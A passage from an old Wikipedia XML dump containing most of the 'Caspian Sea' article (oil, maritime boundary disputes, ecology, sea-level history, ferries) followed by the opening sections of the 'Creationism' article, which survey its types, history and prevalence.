The [[Caspian Seal]] (''Phoca caspica'', ''Pusa caspica'' in some sources) is [[endemic (ecology)|endemic]] to the Caspian Sea, one of very few [[Pinniped|seal species]] living in inland waters (see also [[Baikal Seal]]).

==Oil==
The area is rich in energy wealth.  As well as recently discovered [[oil field]]s, large natural gas supplies are also in evidence, though further exploration is needed to define their full potential.  Geopolitical jockeying is taking place amongst Caspian-bordering countries, especially in the light of Middle East instability and the subsequent recasting of many Western countries' energy policies.  Another factor influencing this is the new US military deployment to the Central Asian region.  

A key problem is the status of the Caspian Sea and the establishment of the water boundaries between the five littoral countries.  Russia, Azerbaijan and Kazakhstan signed an agreement in 2003 to divide the northern 64% of the sea between themselves, although the other two bordering countries, Iran and Turkmenistan, did not agree to this.  This is likely to result in the three agreeing nations proceeding with oil development regardless; Iranian and Turkmen development is likely to stall.

At present, Azerbaijan and Kazakhstan have seen the biggest increase in oil production, an increase of 70% since 1992.  Despite this, the region is still achieving less than potential output, with total regional production 1.6 million barrels (250,000 m&amp;sup3;) per day, roughly equal to Brazil's production.  This is expected to triple by 2010.

==International disputes==
[[Image:Caspian_Borders_Old.PNG|thumb|250 px|right|Old division of the Caspian Sea]]
[[Image:Caspian_Borders_New.PNG|thumb|250 px|right|New division of the Caspian Sea]]

There are three major issues regulated by the Caspian Sea status: access to mineral resources ([[petroleum|oil]] and [[natural gas]]), access for [[fishing]] and access to [[international waters]] (through [[Russia]]'s [[Volga]] river and the canals connecting it to the [[Black Sea]] and [[Baltic Sea]]). Access to the Volga-river is particulary important for the [[landlocked]] states of [[Azerbaijan]], [[Kazakhstan]] and [[Turkmenistan]]. This issue is of course sensitive to [[Russia]], because this potential traffic will move through its territory (albeit onto the inland [[waterway]]s). If a body of water is labeled as [[Sea]] then there would be some precedents and international treaties obliging the granting of access permits to foreign vessels. If a body of water is labeled merely as [[lake]] then there are no such obligations. [[Environment]]al issues are also somewhat connected to the status and [[border]]s issue. It should be mentioned that [[Russia]] got the bulk of the former Soviet Caspian military fleet (and also currently has the most powerful military presence in the Caspian Sea). Some assets were assigned to [[Azerbaijan]]. [[Kazakhstan]] and especially [[Turkmenistan]] got a very small share (because they lack major port cities).

* According to a [[treaty]] signed between the [[Persian Empire]] (predecessor of today's Iran) and the [[Russian Empire]] the Caspian Sea is technically a lake and it is to be divided into two sectors (Persian and Russian), but the resources (then mainly [[fish]]) would be commonly shared. The line between the two sectors was to be seen as an international border in a common [[lake]] (like [[Lake Albert]]). Also the Russian sector was sub-divided into administrative sectors of the four [[littoral]] republics.
* After the dissolution of the [[USSR|Soviet Union]] not all of the [[Newly Independent States of the Former Soviet Union|newly independent states]] assumed continuation of the old treaty. At first [[Russia]] and [[Iran]] announced that they would continue to adhere to the old treaty (but they don't have a common border any more, so this is practically impossible). [[Kazakhstan]], [[Azerbaijan]] and [[Turkmenistan]] announced that they do not consider themselves parties to this treaty.
* Later followed some proposals for common agreement between all littoral states about the status of the sea.
** [[Azerbaijan]], [[Kazakhstan]] and [[Turkmenistan]] insisted that the sectors should be based on the [[median line]], thus giving each state a share proportional to its Caspian [[coastline]] length. Also the sectors would form part of the sovereign territory of the particular state (thus making them international borders and also allowing each state to deal with all resources within its sector as it wishes unilaterally).
** [[Iran]] insisted that the sectors should be such that each state gets a 1/5th share of the whole Caspian Sea. This was advantageous to Iran, because it has a proportionally smaller coastline.
** [[Russia]] proposed a somewhat compromising solution: the seabed (and thus mineral resources) to be divided along sectoral lines (along the two above-described variants), the surface (and thus fishing rights) to be shared between all states (with the following variations: the whole surface to be commonly shared; each state to receive an exclusive zone and one single common zone in the center to be shared. The second variant is deemed not practical, because of the small size of the whole sea).

* Current situation
[[Russia]], [[Kazakhstan]] and [[Azerbaijan]] have agreed to a solution about their sectors. There are no problems between [[Kazakhstan]] and [[Turkmenistan]], but the latter is not actively participating, so there is no agreement either. [[Azerbaijan]] is at odds with [[Iran]] over some [[oil fields]] that the both states claim. There have been occasions where Iranian patrol boats have opened fire at vessels sent by Azerbaijan for exploration into the disputed region. There are similar tensions between [[Azerbaijan]] and [[Turkmenistan]] (the latter claims that the former has pumped more oil than agreed from a field, recognized by both parties as shared). Less acute are the issues between [[Turkmenistan]] and [[Iran]]. Regardless, the southern part of the sea remains disputed.
** [[Russia]] and [[Kazakhstan]] signed a treaty, according to which, they divide the northern part of the Caspian Sea between them into two sectors along the median line. Each sector is an exclusive zone of its state. Thus all resources, seabed and surface are exclusive to the particular state.
** [[Russia]] and [[Azerbaijan]] signed a similar treaty about their common border.
** [[Kazakhstan]] and [[Azerbaijan]] signed a similar treaty about their common border.
** [[Iran]] doesn't recognize the bilateral agreements between the other littoral states, but this has limited practical implications, because it doesn't have common borders with [[Russia]] and [[Kazakhstan]]. Also [[Iran]] continues to insist on a single multilateral agreement between all five littoral states (as the only way to achieve 1/5-th share). 
** The position of [[Turkmenistan]] is unclear.

After [[Russia]] adopted the [[median line]] sectoral division and the three treaties already signed between some littoral states this is looking like the realistic method for regulating the Caspian borders.  The Russian sector is fully defined. The Kazakhstan sector is not fully defined, but is not disputed either. Azerbaijan's, Turkmenistan's and Iran's sectors are not fully defined. It is not clear if the issue of Volga-access to vessels from [[Azerbaijan]] and [[Kazakhstan]] is covered by their agreements with [[Russia]] and also what the conditions are for Volga-access for vessels from [[Turkmenistan]] and [[Iran]].

==Characteristics and ecology==
The Caspian has characteristics common to both seas and [[lake]]s. It is often listed as the world's largest lake, though it is not a [[freshwater]] lake.

The [[Volga River]] (about 80% of the inflow) and the [[Ural River]] discharge into the Caspian Sea, but it is [[endorheic]], i.e. there is no natural outflow (other than by [[evaporation]]). Thus the Caspian [[ecosystem]] is a closed basin, with its own sea level history that is independent of the [[Eustasis|eustatic]] level of the world's oceans. The Caspian became landlocked about 5.5 million years ago. The level of the Caspian has fallen and risen, often rapidly, many times over the centuries. Some Russian historians claim that a [[medieval]] rising of the Caspian caused the coastal towns of [[Khazaria]], such as [[Atil, Khazaria|Atil]], to flood. In 2004, the water level is -28 metres, or 28 metres/92 feet below [[sea level]].

Over the centuries, Caspian Sea levels have changed in synchronicity with the estimated discharge of the Volga, which in turn depends on rainfall levels in its vast catchment basin. Precipitation is related to variations in the amount of North Atlantic depressions that reach the interior, and they in turn are affected by cycles of the [[North Atlantic Oscillation]]. Thus levels in the Caspian sea relate to atmospheric conditions in the North Atlantic thousands of miles to the north and west.  These factors make the Caspian Sea a valuable place to study the causes and effects of global climate change.

The last short-term sea-level cycle started with a sea-level fall of 3 m from 1929 to 1977, followed by a rise of 3 m from 1977 until 1995.  Since then smaller oscillations have taken place[http://www.caspage.citg.tudelft.nl/project.html].  These changes have caused major environmental problems[http://www.eia.doe.gov/emeu/cabs/caspenv.html].

==Transportation==
Several scheduled [[ferry]] services operate on the Caspian Sea, including:
* line between [[Turkmenbashi, Turkmenistan]] (formerly Krasnovodsk) and [[Baku]]
* line between Baku and [[Aktau]]

==Freezing==
The northern part of the Caspian freezes during the winter, and in particulary harsh winters, the whole northern area of the sea is covered with ice. Ice can occur in the southern regions of the sea in [[December]] and January. In mild winters, ice forms in shoals in the shallow areas near the coast.

==See also==
* [[Caspian Depression]]
* [[Ekranoplan]], the &quot;Caspian Sea Monster&quot;
* [[Tengiz Field]]
* [[Baku-Tbilisi-Ceyhan Pipeline]]
* [[Baku Oil Fields]]
* [[Aral Sea]]

==External links==
* [http://www.netiran.com/?fn=artd(2277) Information on history and names of the Caspian Sea]
* [http://www.parstimes.com/caspian/ Caspian Sea Region] 
* [http://www.caspianenvironment.org/ Caspian Environment Programme] 
** [http://www.caspianenvironment.org/reports/Framework_Convention.zip Framework Convention for the Protection of the Marine Environment of the Caspian Sea] (2003)
* [http://globalguerrillas.typepad.com/globalguerrillas/2004/07/long_term_gg_ta.html Target: Caspian Sea Oil] John Robb, 2004
*[http://www.caspage.citg.tudelft.nl/project.html Dating Caspian sea level changes]

[[Category:Seas]]
[[Category:Endorheic lakes]]

[[ar:بحر قزوين]]
[[bg:Каспийско море]]
[[ca:Mar Càspia]]
[[cs:Kaspické moře]]
[[da:Kaspiske Hav]]
[[de:Kaspisches Meer]]
[[et:Kaspia meri]]
[[es:Mar Caspio]]
[[eo:Kaspio]]
[[fa:دریای مازندران]]
[[fr:Mer Caspienne]]
[[fy:Kaspyske See]]
[[gl:Mar Caspio]]
[[ko:카스피 해]]
[[hr:Kaspijsko jezero]]
[[id:Laut Kaspia]]
[[is:Kaspíahaf]]
[[he:הים הכספי]]
[[lt:Kaspijos jūra]]
[[nl:Kaspische Zee]]
[[ja:カスピ海]]
[[no:Kaspihavet]]
[[os:Къаспы денджыз]]
[[pl:Morze Kaspijskie]]
[[pt:Mar Cáspio]]
[[ro:Marea Caspică]]
[[ru:Каспийское море]]
[[sh:Kaspijsko more]]
[[scn:Mar Caspiu]]
[[sk:Kaspické more]]
[[sl:Kaspijsko jezero]]
[[fi:Kaspianmeri]]
[[sv:Kaspiska havet]]
[[tk:Hazar deňizi]]
[[tr:Hazar Denizi]]
[[uk:Каспійське море]]
[[zh:裡海]]</text>
    </revision>
  </page>
  <page>
    <title>Creationism</title>
    <id>5326</id>
    <revision>
      <id>42128126</id>
      <timestamp>2006-03-04T00:26:11Z</timestamp>
      <contributor>
        <username>Tawker</username>
        <id>212671</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/64.136.26.227|64.136.26.227]] ([[User talk:64.136.26.227|Talk]]) to last version by Psy guy</comment>
      <text xml:space="preserve">:'' '''Creationism''' can also refer to [[origin belief]]s in general, or to an alternative of [[traducianism]].''
[[Image:Dore_light.jpg|thumb|right|&quot;The Creation of Light&quot; by [[Gustave Doré]].]]
&lt;!--***********************************************************************
----This is a controversial topic, which may be disputed.-----------------*
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In [[Abrahamic religions]], '''creationism''' or '''[[creation (theology)|creation theology]]''' is the [[origin belief]] that [[human]]s, [[life]], the [[Earth]], and the [[universe]] were created by a [[supreme being]] or [[deity]]'s [[supernatural]] intervention. The intervention may be seen either as an ''act of creation'' from nothing (''[[ex nihilo]]'') or the emergence of order from pre-existing chaos.

Many who hold &quot;creation&quot; beliefs consider such to be an aspect of religious [[faith]] which is compatible with (or otherwise unaffected by) [[science|scientific]] views. A popular example of such a belief would be that God created the Earth, and also created evolution in order for earth to sustain life over a long period of time. Others may claim that scientific data supports creationism, or rather rejects the paradigm of [[evolution]]. Yet others may hold to a more literal interpretation of creationism, and may claim that science and [[empirical]] [[rationalism]] are incompatible with religious belief &amp;mdash;and thus to be held in a lower regard.
Because creationism is largely defined in [[religious term]]s, and because the meaning of &quot;literal interpretation&quot; has great variance, &quot;creationism&quot; (in common usage) typically connotes a religious, political, and social campaign (i.e. in [[education]]) to assert the dominance or widespread acceptance of a ''[[spirituality|spiritual]]'' view of humanity, and to designate other views as [[materialism|materialistic]] and inferior. In this aspect, and within local contexts where creationism has been promoted, some critics claim that creationism is simply a device &amp;mdash;to promote [[Christianity]], and to undo any functional [[separation of church and state]].

Those who hold ''literal'' creation views often reject views of science and certain [[scientific theory|scientific theories]] in particular. Most notable is the rejection of [[evolution]] and its implications for current [[evolutionary biology]]. While the general idea of [[natural selection]] may fit into various particular views, the evolutionary concept of [[common descent]] &amp;mdash;that humans are &quot;descended from lesser creatures&quot; &amp;mdash; is a point of great issue with most creation believers. Most creationists also dispute evolutionary theories about the [[origin of life]], [[human evolution|origin of the human species]], the [[Age of the Earth|geological history of the Earth]], [[solar nebula|the formation of the solar system]], and [[Big Bang|the origin of the physical universe]].
Proponents of [[theistic evolution]] may claim that understood scientific mechanisms are simply ''aspects'' of supreme creation. They, as well as other [[The relationship between religion and science|science-oriented believers]], may consider the [[scripture|scriptural]] account of [[creation]] as simply a [[metaphor]], albeit one with meaning beyond the understanding of current science.
&lt;!--
Similarly, proponents of an alternative type of creationism might rely on a belief that the universe was created by many deities, in accordance with a [[polytheistic]] faith, or by [[Vishnu]], the [[Titan (mythology)|Titans]] of [[Greek mythology]] or any of the host of other such beings.
--&gt;
{{creationism2}}
&lt;!-- dug up - hiding for later maybe
The terms '''creationism''' and '''creationist''' have become particularly associated with beliefs conflicting with the [[theory of evolution]] by [[natural selection]]. This conflict is most prevalent in the [[United States]], where there has been sustained [[creation-evolution controversy]] in the public arena. On the other hand, many faiths which believe in divine creation accept evolution by natural selection as well as, to a greater or lesser extent, scientific explanations of the origins and development of the [[universe]], the [[Earth]], and [[life]] &amp;ndash; such beliefs have been given the name evolutionary creationism, though others call them &quot;theistic evolution&quot;.
To distinguish the belief that individual species were created by divine intervention in the natural order, from the belief that the Universe (and its contents) was created by God, the former is sometimes referred to as '''special creation'''.
--&gt;
==Overview==
The term creationism is most often used to describe the belief that creation occurred literally as described in the book of [[Genesis]] or the [[Qur'an]], for  [[Judaism|Jews]] and [[Christianity|Christians]], and for [[Islam|Muslims]], respectively. Although the [[Hebrew Bible]] may be translated to implicitly deny &quot;creation out of nothing&quot; (''creatio ex nihilo'') and, according to some scholars, may even suggest differing accounts of creation, some Jews and Christians use Genesis exclusively as a support of their beliefs about origins. Refer to [[creation according to Genesis]].     

The terms creationism and creationist have become particularly associated with beliefs conflicting with the [[theory of evolution]] by [[natural selection]]. This conflict is most prevalent in the [[United States]], where there has been sustained [[creation-evolution controversy]] in the public arena. On the other hand, many faiths, including Abrahamic denominations, which believe in divine creation, accept evolution by natural selection, as well as, to a greater or lesser extent, scientific explanations of the origins and development of the [[universe]], the [[Earth]], and [[life]] &amp;ndash; such beliefs have been given the name &quot;theistic evolution&quot; or &quot;evolutionary creationism&quot;.

In a Christian context, many creationists adopt a [[literal]] interpretation of creation narratives, and say that the Bible provides a factual account, given from the perspective of the only one who was there at the time to witness it: [[God]].  They seek to harmonize [[science]] with what they take to be an eye-witness account of the origin of things (see [[Young Earth Creationism]], for example). However, [[scientific evidence]] as an [[empirical]] source for information on [[natural history]] is usually interpreted as contradictory to the Bible, but can be interpreted as supporting it, depending on the presuppositions that are held.

Almost all churches teach that God created the cosmos, but many Christian scholars (Roman Catholic, Anglican and Lutheran), now reject reading the Bible as though it could shed light on what the events of creation were, which they now conclude are best understood in a naturalistic way. [[Liberal theology]] assumes that Genesis is a poetic work, and that human understanding of God increases gradually over time; and just as understanding of God grows, human understanding of God's will and of the world also grows, and has grown since Biblical times.

However, many believers in a literal interpretation argue that once a poetic view of the creation account in [[Genesis]] has been adopted, it leads one to question the historicity of other central topics of that book.  Furthermore, the liberal approach suggests, sometimes outright, that [[Jesus]] as seen in the New Testament, or the writers of the Bible, had a mistaken understanding of the reliability of the Bible, and erroneously believed the book of Genesis to be literal history: a proposition that, if adopted, has radical implications for Christian faith and the reliability of the Bible.

==Political context==
{{main|Creation-evolution controversy}}
In the secular sense, &quot;creationism&quot; refers to a [[politics|political doctrine]] which asserts the validity and superiority of a particular religiously-based origin belief over those of other [[belief systems]], including those in particular espoused through secular or scientific rationale &amp;mdash; i.e. &quot;[[Creation-evolution controversy]].&quot; The meaning of the term &quot;creationism&quot; depends upon the context wherein it is used, as it refers to a particular origin belief within a particular political culture.

In the [[United States]], more so than in the rest of the world, creationism has become centered in political controversy, in particular over [[public education]], and whether teaching evolution in science classes conflicts unfairly with the creationist worldview. Currently, the controversy has come in the form of whether advocates of the [[Intelligent Design movement]] who wish to &quot;[[Teach the Controversy]]&quot; in science classes have overstepped the boundaries of [[separation of church and state]].
{{main|Creation science}}
[[Creation Science]] refers to the endeavour of [[neologism|self-described]] &quot;creation scientists&quot; to use [[science]] in support of a creationist worldview. The scientific status of [[Creation Science]] is disputed by most of the [[scientific community]] as [[pseudoscience]] because Creation Science begins with a desired answer and attempts to interpret all evidence to fit in with this predetermined conclusion. According to the [[philosophy of science]], scientific investigation uses the [[scientific method]] to formulate theories and predictions based only on accurate observations. Imposing such limitations is equivalent to assuming that phenomena have naturalistic descriptions, and creationists argue that this is effectively an imposition of an [[atheism|atheistic]] bias since most scientists claim, for example, that the action of a [[deity]] has never been observed.

==History of the concept of creation==
{{main|History of creationism}}
The history of creationism is tied to the [[history of religions]]. Creationism in the West primarily had some of its earliest roots in [[Judaism]]. For example, [[Abraham ibn Ezra]]'s (c. 1089–1164) commentary on Genesis is greatly esteemed in traditional rabbinical circles and he was a creationist.

In the [[18th century|18th]] and [[19th century|19th]] centuries, [[naturalist]]s challenged the [[Biblical]] account of [[creation]] as to be in conflict with [[empiricism|empirical observations]] of [[natural history]] from [[science|scientific inquiry]]. Creationists consider their primary source to be the ancient [[Hebrew language|Hebrew]] text describing [[creation according to Genesis]]. While the term ''creationism'' was not in common use before the late [[19th century]] they see themselves as being the philosophical and religious offspring of the traditions that held that text sacred. The biblical account of history, [[cosmology]] and [[natural history]] was believed by [[Judaism|Jews]], [[Christianity|Christians]] and [[Islam|Muslims]] and its accuracy was unquestioned through the [[Medieval]] period. Most people in [[Europe]], the [[Middle East]] and other areas of the [[Islam]]ic world believed that a supreme being had existed and would exist [[eternal]]ly, and that everything else in existence had been created by this supreme being, known variously as [[God]], [[Yahweh]], or [[Allah]]. This belief was based on the authority of [[Genesis]], the [[Qur'an]], and other ancient histories, which were held to be historically accurate and no systematic or scientific inquiry was made into the validity of the text.

Islamic scholars preserved ancient [[Greece|Greek]] texts and developed their ideas, leading to the [[Renaissance]] which brought a questioning of biblical [[cosmology]]. With [[the Enlightenment]] a variety of scientific and philosophical movements challenged traditional viewpoints in Europe and the Americas. [[Natural history]] developed with the aim of understanding God's plan, but found contradictions, which in revolutionary [[France]] were interpreted as science supporting [[evolution]]. Elsewhere, particularly in [[England]], clerical naturalists sought explanations compatible with interpretations of biblical texts, anticipating many later creationist arguments.

While the concept of an ancient earth became widely accepted, [[Charles Darwin]]'s theory of [[natural selection]] directly challenged belief in God's involvement in creating [[species]], and in response Creationism arose as a distinct movement aiming to justify and reassert the literal accuracy of sacred texts, particularly the words of [[Genesis]].

The history of creationism has relevance to the [[creation-evolution controversy]]. Proponents of creationism claim that it has a rich heritage grounded in ancient recorded histories and consistent with scientific observation, whereas opponents, particularly of what they regard as the [[pseudoscience]]s of [[creation science]] and [[intelligent design]], claim that those are a modern reactionary movement against science.

==Types of creationism==
Creationism covers a spectrum of beliefs which have been categorized into the broad types listed below. Not all creationists are in dispute with scientific theories, though very few modern scientists are creationists. 

;[[Young Earth Creationist|Young-Earth Creationism]]
:The belief that the Earth was created by [[God]] a few thousand years ago, literally as described in [[Creation according to Genesis]], within the approximate timeframe of the [[Ussher-Lightfoot Calendar]] or somewhat more according to the interpretation of biblical genealogies. (They may or may not believe that the [[Universe]] is the same age.)  It rejects not only [[radiometric dating|radiometric]] and [[isochron dating]] of the [[age of the Earth]], arguing that they are based on debatable assumptions, but also approaches such as [[ice core]] dating and [[dendrochronology]]. Instead, it interprets the geologic record largely as a result of a [[Noah's Ark|global flood]]. This view is held by many Protestant Christians in the USA, and by many [[Haredi Judaism|Haredi Jews]]. For Christian groups promoting this view, see the [[Institute for Creation Research]] (ICR), [[El Cajon, California]], USA, and the ''Creation Research Society'' (CRS), [[Saint Joseph, Missouri]], USA.

:Because Young Earth creationists believe in the literal truth of the description in Genesis of divine creation of every &quot;kind&quot; of plant and creature during a week about 6,000 years ago, they dispute parts of [[evolution]] (specifically Universal Common Ancestry) which describes all [[species]] developing from a common ancestor without a need for divine intervention over a much longer time. Different young-earth creationists offer different explanations for the [[fossil record]], which gives the appearance that the Earth is much older:

:;[[Modern geocentrism]]
::The view that God recently created a spherical world, and placed it in the center of the universe. The [[Sun]], [[planets]] and everything else in the universe revolve around it. All scientific claims about the age of the Earth are lies; evolution does not occur. Very few people today maintain such a belief. See, for example, the ''[http://www.csama.org/ Creation Science Association for Mid-America]'', in [[Cleveland, MO]], USA.

:;[[Omphalos hypothesis]]
::God created the Earth only recently, but made it appear much older. This is the belief of a small subgroup of Young Earth creationists, which is sometimes termed the [[Omphalos hypothesis]]. This argument was first made by [[Philip Henry Gosse]] in [[1857]]. He held that because the world operates in cycles (chicken to egg to chicken on so on), certain physical and biological processes need the appearance of age to function.  It is termed the Omphalos hypothesis because it is based on the question of whether or not [[Adam and Eve|Adam]] (or [[Adam and Eve|Eve]] for that matter) had a [[navel]] (given that they were created as adults rather than [[childbirth|born]], they can be assumed to have never possessed an [[umbilical cord]]).  Gosse postulated that Adam ''did'' have a navel because it is how humans are formed.  So the appearance of history (the belly button) is there, even though he was just created.  He likewise postulated that for the earth to work, it must have been established with the ''appearance'' of age to function correctly. While many creationists hold this view for some smaller aspects of creation, for example the existence of the fossil record, the argument has been largely superseded.

:;[[Flood geology]] 
::The view that God created the Earth only recently, and the fossil record is the record of the destruction of the global flood recorded in Genesis.  The present [[biodiversity|diverse]] land [[animal]]s are all descendants of the animals on [[Noah's Ark]], having heavily diversified after the flood. A variety of mechanisms is suggested to be involved, including genomic modularity -- the ability for animals to reorganize their [[genome]] in response to stress or other outside influence, heterozygous fractionation (heterozygous genes in parents can lead to speciation by having multiple homozygous genes in children), and standard evolution.

;[[Old Earth Creationist|Old-Earth Creationism]] 
:The view that the [[universe|physical universe]] was created by God, but that the creation event of Genesis is not to be taken strictly literally. This group generally believes that the [[age of the Universe]] and the [[age of the Earth]] are as described by [[astronomers]] and [[geologists]], but that details of the [[evolutionary theory]] are questionable.

:Old-Earth creationism itself comes in at least three types:

:;[[Gap creationism]], also called &quot;Restitution creationism&quot;
::The view that life was immediately created on a pre-existing old Earth. This group generally translates Genesis 1:2 as &quot;The earth ''became'' without form and void,&quot; indicating a destruction of the original creation by some unspecified cataclysm. This was popularized in the ''[[Scofield Reference Bible]]'', but has little support from Hebrew scholars.

:;[[Day-age creationism|Day–age creationism]]
::The view that the &quot;six days&quot; of [[Genesis]] are not ordinary twenty-four-hour days, but rather much longer periods (for instance, each &quot;day&quot; could be the equivalent of millions of years of modern time). This theory often states that the [[Hebrew language|Hebrew]] word &quot;y&amp;ocirc;m&quot;, in the context of Genesis 1, can be properly interpreted as &quot;age.&quot; Some adherents claim we are still living in the seventh age (&quot;seventh day&quot;). 

:;[[Progressive creationism]] 
::The view that species have changed or evolved in a process continuously guided by God, with various ideas as to how the process operates (often leaving room for God's direct intervention at key moments in Earth/life's history). This view accepts most of modern physical science including the age of the earth, but rejects much of modern evolutionary biology or looks to it for evidence that [[evolution]] by [[natural selection]] alone is incorrect. This view can be, and often is, held in conjunction with other Old-earth views such as Day-age creationism or framework/metaphoric/poetic views.

;[[Theistic evolutionism]], also known as &quot;evolutionary creationism&quot;
:It isn't a view proclaiming opposition to biological evolution, but the general view that some or all classical religious teachings about [[God]] and [[creation (theology)|creation]] are compatible with some or all of the [[scientific]] [[scientific theory|theory]] of [[evolution]]. It views evolution as a tool used by God and can synthesize with gap or day-age creationism, although most adherents deny that Genesis was meant to be interpreted as history at all. It can still be described as &quot;creationism&quot; in holding that divine intervention brought about the [[origin of life]] or that divine Laws govern formation of species, but in the [[creation-evolution controversy]] its proponents generally take the &quot;evolutionist&quot; side while disputing that some scientists' [[methodological materialism|''methodological'' assumption]] of [[materialism]] can be taken as ''[[Ontology|ontological]]'' as well. Many creationists would deny that this is creationism at all, and should rather be called &quot;theistic evolution&quot;, just as many scientists allow voice to their spiritual side. In particular, this view rejects the doctrine of special creation and other doctrines.  For example, evolutionary theory assumes death is a natural part of life and it had an integral part in the formation of life, but the Bible teaches that only Life begets life and that death is a result of sin.

;[[Neo-Creationism]] 
:Neo-Creationists intentionally distance themselves from other forms of creationism, preferring to be known as wholly separate from creationism as a philosophy. Its goal is to restate creationism in terms more likely to be well received by the public, education policy makers and the [[scientific community]]. It aims to re-frame the debate over the [[Origin belief|origins of life]] in non-religious terms and without appeals to scripture, and to bring the scientific debate before the public. One of its principal claims is that ostensibly [[objective]] orthodox science is actually a dogmatically [[atheism|atheistic]] [[religion]].  Its proponents argue that the [[scientific method]] excludes certain explanations of phenomena, particularly where they point towards supernatural elements.  This effectively excludes religious insight from contributing to understanding the [[universe]]. Neo-Creationists also argue that science, as an &quot;atheistic enterprise&quot;, is at the root of many of contemporary society's ills (social unrest, family breakdown). The most recognized form of Neo-Creationism in the [[United States]] is the [[Intelligent Design movement]].  Unlike their philosophical forebears, Neo-Creationists largely do not believe in many of the traditional cornerstones of creationism such a [[Young Earth creationism|young Earth]], or in a dogmatically [[Biblical inerrancy|literal interpretation of the Bible]].  Common to all forms of Neo-Creationism is a rejection of [[Naturalism (philosophy)|naturalism]], usually made together with a tacit admission of [[supernaturalism]], and an open and often hostile opposition to what they term &quot;[[Darwinism]]&quot;, which generally is meant to refer to [[evolution]].

==Jewish creationism==
See main article [[Judaism and evolution]].

Judaism has a continuum of views about creation, the origin of life and the role of evolution in the formation of species. The major [[Jewish denominations]], including many Orthodox Jewish groups, accept evolutionary creationism or theistic evolution. The contemporary general approach of Judaism, excepting Orthodox traditions, is to not take the [[Torah]] as a literal text, but rather as a symbolic or open-ended work. As far as Orthodox Jews, who seek to reconcile discrepancies between science and the Bible, go, the notion that science and the Bible should even be reconciled through traditional scientific means is questioned. To these groups, science is as true as the Torah and if there seems to be a problem, our own epistemological limits are to blame for any apparent irreconcilable point. They point to various discrepancies between what is expected and what actually is to demonstrate that things are not always as they appear.  They point out to the fact that the even root word for &quot;world&quot; in the [[Hebrew language]] &amp;mdash; עולם (oh•luhm) &amp;mdash; means hidden. Just as they believe God created man and trees and the light on its way from the stars in their adult state, so too can they believe that the world was created in its &quot;adult&quot; state, with the understanding that there are, and can be, no physical ways to verify this. This belief has been advanced by Rabbi Dr. Dovid Gottlieb, former philosophy professor at Johns Hopkins University. Also, relatively old Kabbalistic sources from well before the scientifically apparent age of the universe was first determined are in close concord with modern scientific estimates of the age of the universe, according to Rabbi [[Aryeh Kaplan]]. Other interesting parallels are brought down from, among other sources, [[Nachmanides]], who expounds exegetically that there was a [[Neanderthal]]-like species with which [[Adam and Eve|Adam]] mated (he did this long before Neanderthals had even been discovered scientifically).

==Christian God as absolute origin==
Nearly all denominations of Christianity assert that God is the origin, the [[Cosmological argument|first cause]]. The [[Roman Catholic Church]] holds as an unchangeable tenet of Christian faith, that &quot;In the beginning God created the heavens and the earth&quot;. Here, clearly, creation is described as an absolute beginning, which includes the assertion that the very existence of the universe is contingent upon a necessary higher being, a [[God]] who is not himself created. Therefore the doctrine of biblical creation places the knowledge of God central in the pursuit of the knowledge of anything, for everything comes from God. Nevertheless, this view does not mandate the concept of special creation; it says nothing about the mechanism by which any thing was created.

Although phrased differently, this [[doctrine]] of creation is common in many branches of other [[religion]]s. The strictness to which adherents are required to accept these views, and the sense in which these definitions are official, vary widely.

==Prevalence of creationism==
===United States===
According to a [[2001]] [[Gallup]] poll on the origins of humans, they estimate that 72% of Americans believe in some form of creationism (as defined above). They also estimate that about 45% of Americans concurred with the statement that &quot;God created man pretty much in his present form at one time within the last 10,000 years.&quot;

In [[1987]], [[Newsweek]] reported: &quot;By one count there are some 700 scientists with respectable academic credentials (out of a total of 480,000 U.S. earth and life scientists) who ascribed to Biblically literal creationism.&quot;  

In [[2000]], a [[People for the American Way]] poll estimated that:
:20% of Americans believe public schools should teach evolution only; 
:17% of Americans believe that only evolution should be taught in science classes &amp;mdash; religious explanations should be taught in another class;
:29% of Americans believe that Creationism should be discussed in science class as a 'belief,' not a scientific theory;
:13% of Americans believe that Creationism and evolution should be taught as 'scientific theories' in science class;
:16% of Americans believe that only Creationism should be taught;

Less-direct [[anecdotal evidence]] of the popularity of creationism is reflected in the response of [[IMAX]] theaters to the availability of ''[[Volcanoes of the Deep Sea]]'', an IMAX film which makes a connection between human [[DNA]] and [[microbe]]s inside undersea [[volcano]]es. The film's distributor reported that the only U.S. states with theaters which chose not to show the film were [[Texas]], [[Georgia (U.S. state)|Georgia]], [[North Carolina]], and [[South Carolina]]:
:We've got to pick a film that's going to sell in our area. If it's not going to sell, we're not going to take it,&quot; said the director of an IMAX theater in Charleston that is not showing the movie. &quot;Many people here believe in creationism, not evolution.&quot; [http://www.cnn.com/2005/SHOWBIZ/Movies/03/23/volcano.movie.ap/index.html]

===The western world outside the United States===
Most vocal creationists are from the United States, and creationist views are much less common elsewhere in the Western World.

According to a [[PBS]] documentary on evolution, Australian Young Earth Creationists claimed that &quot;five percent of the Australian population now believe that Earth is thousands, rather than billions, of years old.&quot;  The documentary further states that &quot;Australia is a particular stronghold of the creationist movement.&quot;  Taking these claims at face value, Young Earth Creationism is very much a minority position in Western countries.

In [[Europe]], creationism is a less well-defined phenomenon, and regular polls are not available. However, evolution is taught as scientific fact in most schools. In countries with a [[Roman Catholic]] majority, [[pope|papal]] acceptance of evolution as worthy of study has essentially ended debate on the matter for many people. Nevertheless, creationist groups such as the German ''[[Studiengemeinschaft Wort und Wissen]] (Study group 'word and knowledge')''[http://www.wort-und-wissen.de/] are actively lobbying in Germany. In the [[United Kingdom]] the [[Emmanuel Schools Foundation]] (previously the Vardy Foundation), which runs three government-funded 13 to 19 schools in the north of England (out of several thousand in the country) and plans to open several more, teaches that creationism and evolution are equally valid &quot;faith positions&quot;. In [[Italy]], the prime minister [[Silvio Berlusconi]] wanted to retire evolution from schools in the middle level; after one week of massive protests, he reversed his opinion. [http://www2.onnachrichten.t-online.de/dyn/c/19/01/33/1901336.html]

Of particular note for [[Eastern Europe]], [[Serbia]] suspended the teaching of evolution for one week in [[2004]], under education minister [[Ljiljana Čolić]], only allowing schools to reintroduce evolution into the curriculum if they also taught creationism. [http://www.telegraph.co.uk/news/main.jhtml?xml=/news/2004/09/09/wdarw09.xml&amp;sSheet=/news/2004/09/09/ixworld.html] 
&quot;After a deluge of protest from scientists, teachers and opposition parties,&quot; says the BBC report, Ms Čolić's deputy made the statement, &quot;I have come here to confirm Charles Darwin is still alive,&quot; and announced that the decision was reversed.
